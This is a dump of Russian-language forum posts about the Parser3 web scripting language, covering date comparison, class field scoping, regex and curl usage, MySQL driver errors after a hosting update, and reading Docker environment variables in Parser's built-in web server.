[code]$dbDate[^date::create[2023-11-23 10:23:00]][/code]\
\
имеем какую-нибудь переменную текущей даты:\
\
[code]$now[^date:now[]][/code]\
\
пытаемся сравнить получаем [b]не равны[/b]:\
\
[code]^if($now == $dbDate){равны}{не равны}[/code]\
\
Поле объекта [b]onlyDate[/b] возможно было бы удобно, не пришлось бы создавать лишнюю переменную для обрезания времени только чтобы сравнить:\
\
[code]^if($now.onlyDate == $dbDate.onlyDate){равны}{не равны}[/code]"
"86357","[quote]При вызове с параметром [b]date[/b] возвращает только дату в формате [b]ГГГГ-ММ-ДД[/b][/quote]"
"86359","А значит можно так:\
[code]$dt[^date::create[2023-11-24 10:23:00]]\
$now[^date::now[]]\
\
$same_day(^math:trunc($dt) == ^math:trunc($now))[/code]\
\
Если бы дата штатно приводилась к целому числу, то можно было бы упростить до:\
[code]$same_day($dt \\ 1 == $now \\ 1)[/code]\
или\
[code]$same_day($dt \\ $now == 1)[/code]\
но пока Парсер такого не позволяет."
"86360","[quote]$same_day($dt - $now < 1)[/quote]\
\
Нет, тут будет истина если между разница между датами(с временем) меньше 24 часов.\
\
[quote]$same_day(^math:trunc($dt) == ^math:trunc($now))[/quote]\
\
Да, вариант.\
\
[quote]Если бы дата штатно приводилась к целому числу, то можно было бы упростить до: [/quote]\
\
Как-то не очевидно. Но можно добавить ^dt.int[] и до кучи ^dt.double[]"
"86361","[quote]$same_day($dt - $now < 1)\
\
Нет, тут будет истина если между разница между датами(с временем) меньше 24 часов.[/quote]\
\
Точно!\
Удалил плохой совет.\
\
[quote]Как-то не очевидно.[/quote]\
\
По-моему очень логично:\
— double — полное значение;\
— int — количество полных дней с EPOCH.\
\
И при целочисленном делении приводилось бы как раз к целому.\
\
[quote]Но можно добавить ^dt.int[] и до кучи ^dt.double[][/quote]\
\
Не помешали бы, да."
"86362","решить исходную задачу это не всегда поможет. :)\
\
Тонкость в том, что числовое значение равно \"числу суток с EPOCH (01.01.1970 00:00:00, UTC)\", то есть оно в UTC, а не в текущей временной зоне. Если время на сервере в UTC или дата создана с указанием временной зоны - ^date.int[] подходит. Но обычно нужна именно текущая временная зона и тут и ^date.sql-string[date] как-то надежнее..."
"86363","[quote]методы добавил[/quote]\
\
Спасибо.\
\
[quote]решить исходную задачу это не всегда поможет[/quote]\
\
Обе даты нужно приводить к одному поясу для корректного сравнения любым способом, не думаю, что желающим сложно привести к UTC."
"86364","есть допустим класс\
\
[code]\
@CLASS \
TestClass\
\
@OPTIONS\
locals\
\
@auto[]\
 $self.tLines[]\
\
\
@create[]\
 $tLines[^table::create{line}]\
\
@addLine[sLine]\
 ^tLines.append[$sLine]\
\
@getLines[]\
 $resuilt[^table::create[$tLines]]\
\
@getText[]\
 $result[^tLines.menu{$tLines.line}[^#0A]]\
[/code]\
\
\
в коде делаю так:\
[code]\
 $TestA[^TestClass::create[]]\
 $TestB[^TestClass::create[]]\
\
\
 ^TestA.addLine[this is first line for A]\
 ^TestB.addLine[this is first line for B]\
\
 ^TestA.addLine[this is second line for A]\
 ^TestB.addLine[this is second line for B]\
\
 <pre>^TestA.getText[]</pre>\
 <pre>^TestB.getText[]</pre>\
[/code]\
\
 результат:\
[quote]\
<pre>this is first line for A\
this is first line for B\
this is second line for A\
this is second line for B</pre>\
<pre>this is first line for A\
this is first line for B\
this is second line for A\
this is second line for B</pre>\
[/quote]\
\
ФИГЛИ ОНИ СМЕШИВАЮТСЯ ТО ?"
"86365","Такое поведение было до версии 3.4.5. \
В ней это поменялось - https://www.parser.ru/forum/?id=85523.\
\
P.S. Чтобы приведенный код заработал надо убрать @OPTIONS locals или добавить $self. в @create."
"86367","[code]\
@CLASS \
TestClass\
\
@OPTIONS\
locals\
\
@auto[]\
 $self.tLines[]\
\
\
@create[]\
 $self.tLines[^table::create{line}]\
\
@addLine[sLine]\
 ^self.tLines.append[$sLine]\
\
@getLines[]\
 $result[^table::create[$self.tLines]]\
\
@getText[]\
 $result[^self.tLines.menu{$self.tLines.line}[^#0A]]\
[/code]\
\
проблема в том, что \
[code] ^TestA.addLine[this is first line for A]\
 ^TestB.addLine[this is first line for B][/code]\
почемуто добавляют текст в одну и туже table\
\
я ж правильно проинициализировал? \
[code] $TestA[^TestClass::create[]]\
 $TestB[^TestClass::create[]]\
[/code]"
"86370","[quote]ни self , ни убрать locals -- не помогает[/quote]\
\
Но если этого не сделать, код в принципе нерабочий (будет ошибка - 'append' string method not found).\
\
[quote]Parser/3.4.6 (compiled on x86_64-unknown-linux-gnu)[/quote]\
\
Код ниже в версии парсера новее 3.4.4 выдает такой результат:\
\
<pre>this is first line for A\
this is second line for A</pre>\
 <pre>this is first line for B\
this is second line for B</pre>\
\
\
Результат со смешиванием строк будет только в версии 3.4.4 и ранее. Если вы утверждаете, что у вас это не так - нужен полный bug.html. И да, в методе @auto класса задается статическое поле класса (общее для всех экземпляров класса), поэтому в принципе результат не должен вызывать удивления.\
\
\
[code]@main[]\
\
 $TestA[^TestClass::create[]]\
 $TestB[^TestClass::create[]]\
\
 ^TestA.addLine[this is first line for A]\
 ^TestB.addLine[this is first line for B]\
\
 ^TestA.addLine[this is second line for A]\
 ^TestB.addLine[this is second line for B]\
\
 <pre>^TestA.getText[]</pre>\
 <pre>^TestB.getText[]</pre>\
\
@CLASS\
TestClass\
\
@auto[]\
 $self.tLines[]\
\
@create[]\
 $tLines[^table::create{line}]\
\
@addLine[sLine]\
 ^tLines.append[$sLine]\
\
@getText[]\
 $result[^tLines.menu{$tLines.line}[^#0A]]\
[/code]"
"86371","Что за манера вести диалог и орать на помогающих?"
"86373","\"в методе @auto класса задается статическое поле класса (общее для всех экземпляров класса)\". Если этого не хотелось, зачем вообще использовать @auto?"
"86374","что разньіе екземплярА одного и тогоже класса - между собой общаться могут."
"86375","на сейчас используется https://www.parser.ru/forum/?id=58417\
но хотелось \"с коробки\""
"86377","Из двух строк....\
\
[code]\
Index: ./src/classes/math.C\
===================================================================\
RCS file: /parser3project/parser3/src/classes/math.C,v\
retrieving revision 1.104\
diff -u -r1.104 math.C\
--- ./src/classes/math.C        23 Nov 2023 01:27:12 -0000      1.104\
+++ ./src/classes/math.C        18 Dec 2023 14:53:30 -0000\
@@ -109,6 +109,7 @@\
        }\
\
 MATH2(pow)\
+MATH2(atan2)\
\
 inline bool is_salt_body_char(unsigned char c) {\
        return pa_isalnum(c) || c == '.' || c=='/';\
@@ -752,6 +753,7 @@\
        ADD1(degrees);  ADD1(radians);\
        ADD1(sqrt);\
        ADD1(random);\
+       ADD2(atan2);\
\
        // ^math:pow(x;y)\
        ADD2(pow);\
[/code]\
\
И получить метод в своей сборке:\
\
[code]\
@main[]\
  atan2 -10, 10: ^math:degrees(^math:atan2(-10;10))°\
\
----\
atan2 10, 10: -45°\
[/code]\
\
Пруф — https://en.cppreference.com/w/cpp/numeric/math/atan2"
"86379","[code] $lText[^untaint{$lCurl.text}]\
 $result.match[^lText.match[<tr role=\"row\" class=\"(even|odd)\">([\\s\\S]*?)<\\/tr>][g]]\
[/code]\
\
пример lText (часть)\
[quote]<tr role=\"row\" class=\"odd\">\
                                    <td>\
                                        <div class=\"dropdown\">\
                                            <a class=\"dropdown-toggle btn btn-primary\" data-toggle=\"dropdown\">İşlemler</a>\
                                            <ul class=\"dropdown-menu dropdown-menu-left\">\
                                                    <li>A</li>\
                                                                                                    <li>B</li>\
                                                                                                    <li>C</li>\
                                                                                                                                                </ul>\
                                        </div>\
                                    </td>\
                                    <td><span style=\"font-weight:bold;\">BĞZ</span> 28.12.23 09:52</td>\
\
                                    <td style=\"font-weight:bold;\">NAME4</td>\
									<td>68,95</td>\
                                    <td>TNK</td>\
                                    <td style=\"width:125px;\">\
 <span>HR</span>                                    </td>\
                                    <td style=\"width:125px;\">\
 <span>HE</span>                                    </td>\
\
                                    <td>28.12.23 00:14</td>\
                                    <td>27.12.23 17:21</td>\
                                </tr><tr role=\"row\" class=\"even\">\
                                    <td>[/quote]\
\
вот тут https://regex101.com/ \
\
<tr role=\"row\" class=\"(even|odd)\">([\\s\\S]*?)<\\/tr> - работает с опцией g\
<tr role=\"row\" class=\"(even|odd)\">(.*?)<\\/tr> - работает с опциями gs\
\
в парсере не работает ни то ни то"
"86381","У меня код ниже печатает вот такой текст:\
\
1. [\
{\"prematch\":\"\",\"match\":\"\",\"postmatch\":\"\",\"1\":\"odd\",\"2\":\"\\n<td>\\n<div class=\\\"dropdown\\\">\\n<a class=\\\"dropdown-toggle btn btn-primary\\\" data-toggle=\\\"dropdown\\\">İşlemler<\\/a>\\n<ul class=\\\"dropdown-menu dropdown-menu-left\\\">\\n<li>A<\\/li>\\n<li>B<\\/li>\\n<li>C<\\/li>\\n<\\/ul>\\n<\\/div>\\n<\\/td>\\n<td><span style=\\\"font-weight:bold;\\\">BĞZ<\\/span> 28.12.23 09:52<\\/td>\\n\\n<td style=\\\"font-weight:bold;\\\">NAME4<\\/td>\\n<td>68,95<\\/td>\\n<td>TNK<\\/td>\\n<td style=\\\"width:125px;\\\">\\n<span>HR<\\/span> <\\/td>\\n<td style=\\\"width:125px;\\\">\\n<span>HE<\\/span> <\\/td>\\n\\n<td>28.12.23 00:14<\\/td>\\n<td>27.12.23 17:21<\\/td>\\n\"}\
]\
2. [\
{\"prematch\":\"\",\"match\":\"\",\"postmatch\":\"\",\"1\":\"odd\",\"2\":\"\\n<td>\\n<div class=\\\"dropdown\\\">\\n<a class=\\\"dropdown-toggle btn btn-primary\\\" data-toggle=\\\"dropdown\\\">İşlemler<\\/a>\\n<ul class=\\\"dropdown-menu dropdown-menu-left\\\">\\n<li>A<\\/li>\\n<li>B<\\/li>\\n<li>C<\\/li>\\n<\\/ul>\\n<\\/div>\\n<\\/td>\\n<td><span style=\\\"font-weight:bold;\\\">BĞZ<\\/span> 28.12.23 09:52<\\/td>\\n\\n<td style=\\\"font-weight:bold;\\\">NAME4<\\/td>\\n<td>68,95<\\/td>\\n<td>TNK<\\/td>\\n<td style=\\\"width:125px;\\\">\\n<span>HR<\\/span> <\\/td>\\n<td style=\\\"width:125px;\\\">\\n<span>HE<\\/span> <\\/td>\\n\\n<td>28.12.23 00:14<\\/td>\\n<td>27.12.23 17:21<\\/td>\\n\"}\
]\
\
\
Какой результат ожидался?\
\
[code]@main[]\
$lText[^data[]]\
1. ^json:string[^lText.match[<tr role=\"row\" class=\"(even|odd)\">([\\s\\S]*?)<\\/tr>][g]]\
2. ^json:string[^lText.match[<tr role=\"row\" class=\"(even|odd)\">(.*?)<\\/tr>][gs]]\
\
\
@data[]\
<tr role=\"row\" class=\"odd\">\
<td>\
<div class=\"dropdown\">\
<a class=\"dropdown-toggle btn btn-primary\" data-toggle=\"dropdown\">İşlemler</a>\
<ul class=\"dropdown-menu dropdown-menu-left\">\
<li>A</li>\
<li>B</li>\
<li>C</li>\
</ul>\
</div>\
</td>\
<td><span style=\"font-weight:bold;\">BĞZ</span> 28.12.23 09:52</td>\
\
<td style=\"font-weight:bold;\">NAME4</td>\
<td>68,95</td>\
<td>TNK</td>\
<td style=\"width:125px;\">\
<span>HR</span> </td>\
<td style=\"width:125px;\">\
<span>HE</span> </td>\
\
<td>28.12.23 00:14</td>\
<td>27.12.23 17:21</td>\
</tr><tr role=\"row\" class=\"even\">\
<td>\
[/code]"
"86382","у меня вот єто не работает :(\
\
crl.status возвращает 200\
в test - текст присутствует, тот что надо\
в match - пусто\
\
\
[code]\
  $result[\
   $.ok(false)\
  ]\
  $lURI[https://www.kiyiemniyeti.gov.tr/vessel_traffic_information_systems?Strait=H]\
\
    ^curl:session{\
      $crl[^curl:load[\
            $.url[$lURI]\
            $.ssl_verifypeer(false)\
            $.connecttimeout(6000)\
            $.timeout(9000)\
            $.mode[text]\
            $.content-type[text/html]\
            $.charset[UTF-8]\
            $.response-charset[UTF-8]\
            $.httpheader[\
              $.charset[UTF-8]\
            ]\
            $.fresh_connect(true)\
      ]]\
\
      ^if( ^crl.status.int(0) != 200 \
      ){\
        $result.error[\
          $.status[$crl.status]\
          $.stderr[$crl.stderr]\
          $.stdout[$crl.text]\
        ]\
      }{\
        $lText[^untaint{$crl.text}]\
        $result.test[$lText]\
        $result.match[^lText.match[<tr role=\"row\" class=\"(even|odd)\">([\\s\\S]*?)<\\/tr>][g]]\
      }\
\
\
      $result.ok(^crl.status.int(0) == 200)\
    }\
\
[/code]"
"86383","[quote]в test - текст присутствует, тот что надо[/quote]\
\
Точно? У меня там нет role=\"row\" class=\"(even|odd)\". Как нет их и в исходном коде страницы, если смотреть ее в браузере. Это похоже js при загрузке страницы добавляет (в инспекторе да, эти атрибуты видны).\
\
                                [code]<tr>\
                                    <td>\
                                        <div class=\"dropdown\">\
                                            <a class=\"dropdown-toggle btn btn-primary\" data-toggle=\"dropdown\">İşlemler</a>\
                                            <ul class=\"dropdown-menu dropdown-menu-left\">\
                                                    <li><a href=\"javascript:void(0)\" onclick=\"ShowHistory(9611802)\" title=\"Gemi Geçmişi\" style=\"color:#000\">Gemi Geçmişi</a></li>\
                                                                                                    <li><a href=\"javascript:void(0)\" onclick=\"ShowMovementHistory(13716650, '9611802')\" title=\"<b>Detay Bilgileri</b>\" style=\"color:#000\"><b>Detay Bilgileri</b></a></li>\
                                                                                                    <li><a href=\"javascript:void(0)\" onclick=\"ShowOnMap('538004714', '')\" title=\"Haritada Göster MMSI\" style=\"color:#000\">Haritada Göster MMSI</a></li>\
                                                                                                    <li><a href=\"javascript:void(0)\" onclick=\"ShowOnMap('', '9611802')\" title=\"<b>Haritada Göster</b>\" style=\"color:#000\"><b>Haritada Göster</b></a></li>\
                                            </ul>\
                                        </div>\
                                    </td>\
                                    <td><span style=\"font-weight:bold;\">BOĞAZDA</span> 30.12.23 19:10</td>\
\
                                    <td style=\"font-weight:bold;\">ASTRA CENTAURUS</td>\
									<td>196</td>\
                                    <td>BULK CARRIER</td>\
                                    <td style=\"width:125px;\">\
<span style=\"font-weight:bold; width:125px;\">Evet</span>                                    </td>\
                                    <td style=\"width:125px;\">\
 <span>Hayır</span>                                    </td>\
\
                                    <td>30.12.23 15:19</td>\
                                    <td>28.12.23 12:34</td>\
                                </tr>[/code]"
"86386","Повторить в сложной системе под Win и Linux (без явного кода ошибки ([i]An error occurred while reading CGI reply (no response received)[/i]), но на том же коде) могу, локализовать — пока нет.\
\
В логе какой-то мусор:\
[code][Mon Mar 11 06:10:47 2024] [29476] 0xC0000005 at 0x01409BB3 [uri=csmа!, method=ДъЉ, cl=9105996]\
[Mon Mar 11 06:17:28 2024] [41880] 0xC0000005 at 0x00149BB3 [uri=csmа!, method=дэ™, cl=10089836][/code]\
\
Появилось внезапно в системе, где не было изменений.\
\
Update.\
Поймал:\
[code]$f[^curl:load[\
	$.nobody(true)\
	$.ssl_verifypeer(false)\
	$.url[https://httpbin.org/response-headers?set-cookie=undefined]\
]]\
\
^json:string[$f][/code]\
\
Сервер выдавал заголовок [i]set-cookie: undefined[/i], на разборе которого всё падает.\
Parser 3.4.7b (compiled on i386-pc-win32)."
"86387","Что интересно, падает не на разборе, а на преобразовании в json. То есть проблема двойная - что получилась \"странная\" таблица и что код преобразования в json был к этому не готов.\
\
VTable::get_json_string_object (this=this@entry=0x7ffff5206060, result=..., indent=0x0) at pa_vtable.C:190"
"86388","В рабочем коде у меня падает не на преобразовании в JSON, а на переборе [i]cookie[/i] через [i]foreach[/i], проверке и записи в хеш нового значения.\
\
Но и именно эту часть пока воспроизвести не могу.\
Возможно, дело тоже в структуре таблицы."
"86389","[code]$f[^curl:load[\
	$.nobody(true)\
	$.ssl_verifypeer(false)\
	$.url[https://httpbin.org/response-headers?set-cookie=undefined]\
]]\
\
$cookies[^f.cookies.hash[name;$.distinct(true)]]\
\
^cookies.foreach[name;cookie]{\
	$tmp(^cookie.value.length[])\
}\
\
Done[/code]\
\
Ошибку вызывает обращение к полям [i]cookie[/i] при переборе."
"86390","Что получалась \"странная\" таблица - исправил раньше, в ночных сборках уже исправленная версия. Что здесь, что в json:string[] правильно что падало, такой таблицы быть не должно. Но на будущее добавил assert, ранее на запись, а сейчас и на чтение (в отладочном режиме проблема будет сразу видна)."
"86392","Который тут https://reestr.digital.gov.ru/\
\
Для сертификации решений с использованием парсера требуется его присутствие там"
"86393","Что-то есть сомнения что надо включать язык программированя Парсер 3 в реестр. ;)"
"86394","Парсер же обычный Open Source, наверняка у вас в составе решения есть и другие Open Source компоненты (какие-нибудь JS библиотеки). Одним больше/одним меньше - особой разницы не должно быть. Условный RedOS так вообще состоит на 99% из \"чужого\" Open Source."
"86395","Языки конечно нет, но например компиляторы да https://reestr.digital.gov.ru/reestr/?tab=registry_active&PROD_NAME=%D0%BA%D0%BE%D0%BC%D0%BF%D0%B8%D0%BB%D1%8F%D1%82%D0%BE%D1%80&PROD_REESTR_NUM=&CLASSIFIER=&OWNER_NAME=&OWNER_INN=&OWNER_STATUS=&PROD_DES_NUM=&PROD_DES_DATE=&REQ_REG_NUM=&REQ_REG_DATE="
"86396","В реестре нет Питона, Яваскрипта, Явы, Раста и прочего. Парсер ровно та же история."
"86399","или только \
\
[code]$новая[^таблица.select(критерий_отбора)[опции]]\
\
^новая.menu{\
 ^еще_новее.append[\
   $.A[$новая.A]\
   $.B[$новая.B]\
   $.E[$новая.E]\
 ]\
}\
[/code]\
\
?"
"86400","За счет этого метод работает эффективнее (а дополнительные колонки обычно ничем не мешают). Но есть подводный камень - это фактически та же строка, что и в исходной таблице. Поэтому если изменить значение, оно изменится и в скопированной таблице, о чем возможно стоит явно указать в документации...\
\
[code]$t1[^table::create{data\
value}]\
\
$t2[^t1.select(1)]\
\
$t1.data[new value]\
$t2.data\
[/code]\
Будет \"new value\"."
"86401","- а как \"отделить\" отселекченньіе данньіе?\
\
// колонки реально лишние если хочется из API сделать\
 ^return[^json:string[$selectedAndChangedAfterTable]]"
"86403","Ищу parser-программиста, который свяжет ajax, parser и mysql в один небольшой сайт о птицах. За деньги, конечно. Вкратце: есть проект из одной страницы, на которой будет список из множества псевдоссылок с названием птиц. Нажимая на каждую из них, из БД подгружается небольшой текст о них и файл с пением (ogg или mp3). \
\
Задачи: \
* Соединить базу данных, парсер и аякс; \
* При открытии каждой псевдоссылки менять url на id птицы. Нужен адрес такого вида: site.com/#/crow. Понятно, что id задается в той же БД;\
* Поделившись, например, адресом site.com/#/crow, и открыв его, из всего списка птиц на сайте раскрывалась бы заметка про ворону и проигрывался бы файл с пением. \
\
Надеюсь, у меня получилось понятно расписать задачу. Буду рад вопросам. По итогу мне нужен работающий движок, сайт наполню самостоятельно. Цены, сроки и прочие условия - пишите на почту aepiel@yandex.ru. Спасибо."
"86406","В мировом масштабе конечно."
"86407","Слишком много звезд должно сойтись. Могу назвать десяток факторов, которые могли бы повлиять на его популярность в мире. Но даже если бы все их изменить - совсем не факт, что Парсер бы \"взлетел\". Но какой смысл об этом сейчас рассуждать? У Парсера есть своя ниша, он используется и потихоньку развивается. Это уже достойный результат на фоне многих других проектов, которые остались только в веб-архиве. Некоторые [url=\"https://en.wikipedia.org/wiki/Server-side_scripting#Languages\"]сходной направленности языки[/url] тоже перестали развиваться много лет назад."
"86408","Жаль. Язык-то хороший"
"86411","Зато есть преимущество у тех кто освоил — эксклюзивность, бесконечная поддержка :)"
"86412","Добрый день.\
На хостинге есть курл, который можно использовать в PHP, но парсер упорно выдает:\
[i]failed to load curl library libcurl.so: libcurl.so: cannot open shared object file: No such file or directory[/i]\
\
Сам файл курла и симлинк на него имеют другие названия, но попытки сослаться на существующие имена не решают проблему, возможно, из-за отсутствия прав у парсера на эти файлы.\
Доступа из консоли нет и не будет (бесплатный хостинг).\
Запросы нужно делать по HTTPS.\
\
Пробовал следующие варианты:\
1. Копировал файл курла в корень сайта, давал на него полные права, пробовал менять названия и указывать в $.library.\
2. Создавал на PHP симлинк на файл в корне сайта (сам файл также в корне сайта), давал на него полные права, пробовал менять названия и указывать в $.library.\
3. Указывал как абсолютные пути, так и относительные.\
\
Любые танцы с бубном приводят к той же самой ошибке, хотя, как мне казалось, ошибка должна меняться в зависимости от указания названия файла в $.library.\
\
Вот такой код обнаруживает файл и получает его размер, но в $.library этот путь не работает:\
[code]^file::load[binary;/../../../../../home/путь к корню сайта/libcurl.so][/code]\
\
Можно ли как-то заставить парсер увидеть курл в корне сайта или выдавать ошибку в зависимости от указанного пути, а не постоянно libcurl.so?"
"86413","Так и делается?\
\
https://www.parser.ru/docs/lang/?curloptions.htm\
\
[code]^curl:options[\
   $.library[libcurl.so.4]\
]\
[/code]"
"86414","Взял пример из доки:\
[code]		^curl:session{\
			^curl:options[\
				$.library[libcurl.so]\
				$.url[https://store.artlebedev.ru/]\
				$.charset[UTF-8]\
				$.timeout(10)\
				$.ssl_verifypeer(0)\
			]\
			$fFile[^curl:load[]]\
		}[/code]\
\
Ошибка в сессии:\
[i]failed to load curl library libcurl.so: libcurl.so: cannot open shared object file: No such file or directory[/i]"
"86415","Там же четко написано, что \"если есть необходимость задать путь к библиотеке libcurl, это нужно сделать до начала использования curl.\" Должно быть например так:\
\
[code]^curl:options[\
   $.library[libcurl.so.4]\
]\
\
$file[^curl:load[\
   $.url[https://store.artlebedev.ru/]\
   $.useragent[Parser3]\
   $.timeout(10)\
   $.ssl_verifypeer(0)\
]][/code]"
"86416","Так работает по относительному пути.\
\
Большое спасибо!"
"86417","Добрый день!\
Неколько сайтов работало на хостинге больше года без особой нагрузки и присмотра.\
[code]Parser/3.4.6 (compiled on x86_64-unknown-linux-gnu[/code]\
\
[code]Server Information\
Hosting Package   NameBuilder\
cPanel Version   120.0 (build 11)\
Apache Version   2.4.59\
Database Version   10.11.8-MariaDB-cll-lve\
Architecture   x86_64\
Operating System   linux\
Kernel Version   4.18.0-477.21.1.lve.1.el8.x86_64[/code]\
\
Как вдруг Парсер перестал мочь подключаться к БД с такими записями в parser3.log:\
\
[code][Sun Jun 30 07:47:33 2024] [685411] /: /home/****/Sql.p(76:18): 'mysql://****@localhost/****?charset=utf8' Invalid client flags (140222092410880) specified. Supported flags: 3841982463 [sql.connect] [uri=/, method=GET, cl=0][/code]\
\
Причем [b]Invalid client flags[/b] всегда разные:\
[code]\
140286516920320\
140110423261184\
139990164176896\
139749646008320\
140114718228480\
140329466593280\
139736761106432\
140561394827264\
139904264830976\
140140488032256\
140338056527872\
140011639013376\
[/code]\
Как это исправить? Помогите! 2-й день сижу. Через phpMyAdmin могу подключится к серверу. Все базы в целости и сохранности."
"86418","Хотя бы подскажите, где взять свежие MySQL драйвера для centos 8. Собрать из исходников хостинг не дает.\
Может быть в них дело..."
"86419","Добавил на https://www.parser.ru/download/linux/ ссылки на версии для Сentos 8. Файлы были собраны, но на них не было ссылки. И я бы рекомендовал использовать libmysqlclient.so из комплекта для установки, обновление самого парсера не факт что поможет."
"86420","Если погуглить, то видно, что версия 10.11.8 вышла достаточно недавно, 2024-05-17. А значит хостер обновил MariaDB и проблема связана с этим обновлением. Не уверен, что поможет замена парсера и его MySQL драйвера. Скорее всего придется использовать и старую клиентскую библиотеку libmysqlclient.so, которая есть в полном комплекте установки парсера. Если и это не поможет - пишите, соберем MySQL драйвер парсера с \"проблемной\" версией MariaDB."
"86421","У меня был прописан в качестве SQL драйвера системный libmysqlclient.so, который сейчас является линком на libmariadb.so.3\
После того как я прописал драйвер из комплекта парсера (не помню какой версии и сборки) появилась такая ошибка:\
[code][b]./lib/libparser3mysql.so[/b]\
\
driver failed to initialize client library './lib/system/libmysqlclient.so', libssl.so.10: cannot open shared object file: No such file or directory\
\
/***/engine/Sql.p(76:18)[/code]\
\
Проблема решилась установкой и использованием [url=\"https://www.parser.ru/f/1/download/parser346/parser3_4_6_centos8x64.tar.gz\"]нового комплекта парсера и драйверов для centos 8[/url]"
"86422","Спасибо огромное!\
Проблема решилась установкой и использованием [url=\"https://www.parser.ru/f/1/download/parser346/parser3_4_6_centos8x64.tar.gz\"]нового комплекта парсера и драйверов для centos 8[/url]"
"86423","... вопрос снят - не в том докер-контейнере пробросил порт :("
"86424","Не совсем понимаю, почему может влиять, пришел ли запрос на порт парсера напрямую или через nginx. Такого не должно быть, подозреваю есть какие-то еще отличия в конфигурации.\
\
Что же касается чтения auto.p, то конфигурационный может быть задан следующими способами, в порядке перебора:\
1. Опция -f \
2. Переменная окружения CGI_PARSER_CONFIG\
3. Рядом с исполняемым файлом.\
4. Системный конфигурационный файл (только в случае пакетов Debian - /etc/parser3/auto.p)\
\
Более вероятным кажется, что auto.p почему-то не читается, что можно проверить например сделав в нем ошибку."
"86425","Тупанул - запустил два контейнера даже из разных образов с разными конфигами, которые смотрели в один volume, и проброс порта сделал в одном, а конфиги ковырял в другом. А Nginx проксипасил в правильный контейнер по его имени. В общем разобрался."
"86426","Например, мы хотим из секретов в докер-контейнер передать какие-то данные через env\
Делаем docker run .... -e XYZ=\"Hello\" ...\
docker exec ... echo $XYZ\
\
Hello\
\
Можно как-то парсером это красиво получить.\
$env:XYZ естественно эти env не видит.\
наверное можно сделать через обертку на bash и ^file::exec\
\
\
а если запустить из консоли, то видит $env:XYZ\
bash-5.1$ /usr/local/parser3/parser3 ./index.html\
\
Через exec тоже не работает из браузера:\
[code]#!/bin/sh\
\
echo \"xx $XYZ\"\
\
@main[]\
$env:XYZ\
\
$f[^file::exec[env.sh]]\
-- $f.text --[/code]\
\
-- xx --\
\
\
Может проблема в том, что парсер запускается не от того пользователя."
"86427","Если перед парсером стоит Nginx+Fcgiwrap, то надо явно пробросить в fastcgi переменные.\
\
Скорее всего в конфиге надо:\
[code]\
# Вне всех секций говорим энжинксу получить доступ к переменной\
env XYZ;\
\
# В локейшне пробрасываем нашему серверу\
fastcgi_param XYZ \"$XYZ\";\
[/code]\
\
Я не проверял, но идея, надеюсь, понятна."
"86428","Обращаюсь без всякого nginx просто на порт, который слушает парсер. и он видит только переменные окружения веб-сервера HTTP_...\
А те, которые передаются в докер-контенер при его запуске он не видит, когда обращаешься через его веб-сервер. Но если зайти внутрь контейнера и запустить парсер из консоли, то он их отлично видит.\
\
Nginx может быть вообще лишнее звено тут. Например, это можно запустить в кубернетесе и какой-то pod например с пхп может каким-нибудь Curl-ом дернуть парсер через его сервис внутри одного кластера. Т.е. не через внешний интерфейс с ингресс-nginx, а внутри кластера."
"86429","parallel или threaded? Если в параллельном, то проверьте видны ли переменные в threaded-режиме."
"86430","в bash скрипт дописал команду id\
Из консоли и через веб-сервер показывает одинаковые uid gid"
"86432","B самая простая отладка записать env:fields в файл в методе httpd.main. Если там всё ок, то можно уже хаками положить в глобальную переменную секретик."
"86435","Если примерно такой код разметить в методе @auto или @conf конфигурационного auto.p:\
\
[code]^if(!def $env:SERVER_NAME){\
    $s[^json:string[$env:fields]]\
    ^s.save[/senv.cfg]\
}{\
    $s[^file::load[text;/senv.cfg]]\
    $senv[^json:parse[^taint[as-is;$s.text]]]\
}\
[/code]\
\
Суть в том, что при запуске в режиме веб-сервера парсер сначала обрабатывает конфигурационный auto.p и в этот момент переменные окружения доступны. Потом, при поступлении http запросов, переменные окружения содержат уже только данные запроса. Но можно сохранить изначальное окружение и загружать его при последующих запросах."
"86436","[code]\
\
@CLASS\
httpd\
\
@OPTIONS\
partial\
\
@auto[]\
^if(-f \"/httpd.p\"){\
    ^use[/httpd.p]\
}\
\
@include[filename]\
^use[$filename; $.main(true) ]\
^MAIN:main[]\
\
.....\
\
@main[result][basic]\
#$request:document-root[/website/folder]\
$cfg[^config[\
    $.parser[\\.(html)^$]\
    $.index[index.html]\
#       $.autoindex(true)\
    $.404[$404]\
#       $.404[/404.html]\
#       $.fix-trailing-slash(true)\
#       $.auth[ $.url[^^/\\.?admin/] $.login[admin] $.password[change me] $.realm[site administration] ]\
    $.deny[(/\\.ht[^^/]+|\\.p|\\.cfg)^$]\
    $.403[Permission denied]\
    $.memory(64000)\
#       $.log[/access.log]\
]]\
\
^env:XYZ.save[/xyz.txt]\
\
$response:server[Parser$env:PARSER_VERSION][/code]"
"86437","А если без if, то на каждом хите через веб-сервер будет файл стирать?"
"86438","Как-то не здорово, когда программа не видит переменные окружения и их надо каким-то хитрым хаком брать из файлика Ж)"
"86439","Во всяком случае в случае apache. Там тоже только переменные, относящиеся к сайту/запросу. По аналогии с ним и делал. Идея копировать env мне не очень нравится. Нужно это очень редко, а ресурсы будут тратиться всегда (например у меня сейчас там 43 переменные). Можно копировать переменные с префиксом CGI_. Или если запрос к переменной с префиксом например HTTPD_XXX, отрезать его и выдавать значение XXX окружения веб-сервера. Или можно подойти с другой стороны, завести отдельный хеш, живущий между запросам (правда в parallel режиме там будет только то, что записали при загрузке конфигурационного auto.p при запуске), туда можно будет сохранить что нужно."
"86440","А в том, что при обработке HTTP запроса веб-сервером парсера переменные окружения процесса парсера недоступны."
"86441","Кроме как через env прокинуть как ещё? В php getenv эти пременные окружения читает без проблем хоть консольный, хоть php-fpm (https://www.php.net/manual/en/function.getenv.php)\
\
Кстати заметил ещё один момент - если веб-сервером парсера отдать txt файл с диска ~80кбайт браузер показывает ожидание 70-80мс. Если отдавать тот же файл с того же диска на том же сервере nginx-ом с gzip, то он жмется до 13 кбайт и ожидание отдачи сервером составляет 22мс.\
Это из-за gzip?\
Нет планов реализовать gzip парсерным веб-сервером на респонсе?"
"86442","[quote]Кроме как через env прокинуть как ещё?[/quote]\
\
Гм, через файлы, что считается более безопасным. В примере ниже секреты будут каждый в своем файле в /etc/secrets.\
\
\
[code]spec:\
  containers:\
  - name: mycontainer\
    image: nginx\
    volumeMounts:\
    - name: secret-volume\
      mountPath: \"/etc/secrets\"\
      readOnly: true\
  volumes:\
  - name: secret-volume\
    secret:\
      secretName: mysecret\
[/code]\
\
\
Но никто же не возражает добавить фичу в парсер. Мой ответ объясняет, почему сейчас так и предлагает несколько вариантов реализации данной возможности.\
\
